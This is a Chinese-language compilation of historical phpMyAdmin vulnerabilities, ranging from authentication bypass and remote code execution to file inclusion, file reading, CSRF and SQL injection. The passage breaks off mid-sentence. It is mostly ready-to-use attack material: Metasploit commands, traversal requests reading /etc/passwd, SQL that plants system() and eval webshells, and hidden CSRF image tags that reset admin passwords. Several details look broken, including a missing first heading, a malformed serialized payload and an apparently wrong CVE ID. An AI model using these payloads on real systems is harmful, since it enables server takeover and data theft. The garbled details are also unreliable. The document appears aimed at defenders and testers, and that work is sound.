phpMyAdmin 作为一款广泛使用的 MySQL 数据库 Web 管理工具,其安全性直接关系到数据库乃至服务器的安全。本文梳理了 phpMyAdmin 历史上影响较大的漏洞,包括漏洞原理、影响版本、POC(漏洞证明代码)及利用方式,为安全从业者和运维人员提供参考。
-
影响版本:phpMyAdmin 2.11.3~2.11.9.2
-
POC:
-
2.11.9.2 版本:用户名输入
root
,密码留空,直接登录; -
2.11.3/4 版本:用户名输入
'localhost'@'@"
(英文标点),密码任意(或留空)。
-
-
利用方式:无需正确密码,直接登录 phpMyAdmin 后台,获取数据库管理权限。
二、远程代码执行(RCE)
1. CVE-2009-1151
-
影响版本:phpMyAdmin 2.11.x < 2.11.9.5、3.x < 3.1.3.1
-
POC:通过 Metasploit 模块利用
msfconsole use exploit/unix/webapp/phpmyadmin_config set RHOSTS 目标IP set RPORT 目标端口 exploit
-
利用方式:通过模块触发配置文件漏洞,执行任意系统命令或获取反向 Shell。
2. CVE-2012-5159
-
影响版本:phpMyAdmin 3.5.2.2
-
POC:通过 Metasploit 模块利用
msfconsole use exploit/multi/http/phpmyadmin3522_backdoor set RHOSTS 目标IP exploit
-
利用方式:利用
server_sync.php
文件包含漏洞,执行 PHP 代码,获取服务器权限。
3. CVE-2013-3238
-
影响版本:phpMyAdmin 3.5.x < 3.5.8.1、4.0.0 < 4.0.0-rc3
-
POC:通过 Metasploit 模块利用
msfconsole use exploit/multi/http/phpmyadminpregreplace set RHOSTS 目标IP exploit
-
利用方式:滥用
preg_replace()
函数的/e
修饰符,将替换字符串解析为 PHP 代码执行。
4. CVE-2016-5734
-
影响版本:
-
phpMyAdmin 4.0.x < 4.0.10.16、4.4.x < 4.4.15.7、4.6.x < 4.6.3;
-
仅支持 PHP 4.3.0~5.4.6(PHP 5.4.7 + 修复空字节问题,不可利用)。
-
-
POC:Python 脚本(需登录权限)https://www.exploit-db.com/exploits/40185
python3 cve-2016-5734.py -u 用户名 -p 密码 http://目标地址 -c "要执行的命令(如system('id'))"
-
利用方式:登录后创建含特殊名称的表,通过
tbl_find_replace.php
构造替换语句,将命令注入为 PHP 代码执行。
三、文件包含漏洞
1. CVE-2014-8959(本地文件包含)
-
影响版本:phpMyAdmin 4.0.1~4.2.12,且 PHP 版本 < 5.3.4
-
POC:构造 GET 请求包含本地文件
GET /gis_data_editor.php?token=获取的token值&gis_data[gis_type]=/../../../../../../../../目标文件路径%00 HTTP/1.1 Host: 目标地址
-
利用方式:通过
%00
截断路径,包含服务器本地文件(如配置文件、日志文件),若文件含 PHP 代码可执行。
2. CVE-2018-12613(本地文件包含)
-
影响版本:phpMyAdmin 4.8.0、4.8.0.1、4.8.1
-
POC:
-
读取系统文件(如
/etc/passwd
):GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1
-
包含 Session 文件(需登录,获取
PHPSESSID
):GET /index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_<PHPSESSID> HTTP/1.1
-
-
利用方式:
-
登录后执行
SELECT '<?=system($_GET[cmd])?>'
,将 PHP 代码写入 Session 文件; -
访问包含 Session 文件的 URL,通过
?cmd=命令
触发代码执行。
-
3. CVE-2018-19968(任意文件包含 / RCE)
-
影响版本:phpMyAdmin 4.8.0~4.8.3
-
POC:
-
创建数据库和表并插入 PHP 代码:
CREATE DATABASE foo; CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY ); INSERT INTO foo.bar SELECT ‘<?php phpinfo(); ?>’;
-
但此时还没有在数据库 foo 中生成 phpmyadmin 的配置表,访问:
http://测试地址/chk_rel.php?fixall_pmadb=1&db=fo
-
生成配置表后,篡改数据指向 Session 文件:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_[session]','plop';
-
访问包含Session文件的地址:
http://测试地址/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
-
-
利用方式:通过数据库操作写入恶意代码到 Session 文件,再利用文件包含漏洞执行代码。
四、任意文件读取
WooYun-2016-199433
-
影响版本:phpMyAdmin 2.x 版本
-
POC:构造 POST 请求读取文件
POST /scripts/setup.php HTTP/1.1 Host: 目标地址 Content-Type: application/x-www-form-urlencoded Content-Length: 长度值 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:目标文件路径长度:"目标文件路径";} action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
示例(读取
/etc/passwd
):action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
-
利用方式:通过反序列化
PMA_Config
对象,控制source
参数读取服务器任意文件(如/etc/passwd
、数据库配置文件)。
五、跨站请求伪造(CSRF)
1. CVE-2017-1000499
-
影响版本:phpMyAdmin 4.7.0 Beta1、4.7.0 Rc1、4.7.4、4.7.5、4.7.6
-
POC:
-
添加测试服务器:访问
http://目标地址/phpMyAdmin/setup/index.php
,新建服务器(如名称 “test”,主机名 “localhost”),记录该服务器的序号(如id=1
)。 -
抓取删除请求:手动删除上述服务器,通过抓包工具获取请求 URL:
GET /phpMyAdmin/setup/index.php?page=servers&mode=remove&id=1 HTTP/1.1 Host: 目标地址 Cookie: 管理员登录后的会话Cookie
-
构造并触发恶意页面,诱导管理员访问该页面:
<!-- 示例:修改管理员密码 --> <img src="http://目标地址/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27恶意密码%27)" style="display:none;"> <!-- 示例:写入Webshell(需MySQL写权限) --> <img src="http://目标地址/sql.php?db=test&sql_query=SELECT '<?php eval($_GET[1]);?>' INTO OUTFILE '/var/www/html/shell.php'" style="display:none;">
-
-
利用方式:诱骗已登录的管理员访问含恶意标签的页面,执行敏感操作(改密码、写后门等)。
2. CVE-2019-12922
-
影响版本:phpMyAdmin <= 4.9.0.1
-
POC:构造修改配置的恶意 URL
<img src="http://目标地址/prefs_manage.php?db=&table=&token=管理员token&action=save&cfg[Servers][1][AllowRoot]=true" style="display:none;">
-
利用方式:通过 CSRF 漏洞篡改 phpMyAdmin 配置(如允许 root 登录),或执行其他未授权操作。
六、SQL 注入
CVE-2020-0554(后台 SQL 注入)
-
影响版本:phpMyAdmin 4 < 4.9.4、5 < 5.0.1(需已知用户名密码登录后台)
-
POC:构造含注入的 GET 请求(替换
token
为登录后获取的值)GET /server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20version()),0x7e))--+db=&token=登录后的token&viewing_mode=server HTTP/1.1 Host: 目标地址 Cookie: 登录后的Cookie
-
利用方式:登录后台后,通过
username